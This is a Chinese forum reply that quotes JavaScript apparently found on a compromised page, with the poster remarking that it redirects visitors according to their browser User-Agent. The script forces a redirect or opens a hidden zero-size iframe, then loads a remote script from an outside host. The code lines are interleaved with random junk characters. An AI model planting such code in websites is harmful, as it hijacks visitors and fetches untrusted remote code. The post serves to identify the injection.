|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 ) q. f- U- G) P; H
- var ua = navigator.userAgent.toLowerCase(),
# x. ?1 d, L0 t/ B# H - browser = {7 i5 t7 m" E/ ~
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],1 ?1 l; ]5 v4 q
- opera: /opera/.test(ua)," c' A- K/ G& a& P# q: g3 ^* n
- maxthon: /maxthon/.test(ua),% v$ e! m) [$ y$ w: k7 m% I9 J
- theworld: /theworld/.test(ua), n9 m) s F Q. p/ x
- qq: /qqbrowser/.test(ua), w0 s( S- P( V, V, R( g
- sogou: /se /.test(ua),
- v! w, H- S3 r; _2 i! n* \/ A - liebao: /liebao/.test(ua),7 ^" v4 r6 {7 w# H# p0 `
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),! H3 N0 }5 r; J1 _, X: q' \3 b
- chrome: /chrome|crios/.test(ua),
7 [- c9 h/ D8 V5 I - safari: /webkit/.test(ua),
0 L$ ?. D# K( ? - uc: /ucbrowser/.test(ua),
: B; n* K9 A1 p* F1 q( E - ie: /msie/.test(ua) && !/opera/.test(ua)( d+ E+ Q3 d8 ]3 c6 u4 R& n# S
- };
6 A; O9 s d4 G0 _ - var ver = browser.ver;- W3 E: L s5 Z' p, }. m
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
9 [7 Z4 h" H) m9 M5 H% k/ W2 | - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");' j" U1 E0 p8 O
- } else {
+ m# m5 h/ H* W j2 {3 b - window.sc = "<iframe src=" + tourl + "></iframe>";
8 {7 p3 y& Q( d; e) M- W" A: b - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");; o0 X1 b+ F& H2 \/ O* c4 [$ Y5 }
- }
7 v: @) b, @2 t - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 - ~& C4 G& f5 G/ y
7 R* |9 B y" j! q7 ~5 G+ r' x
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|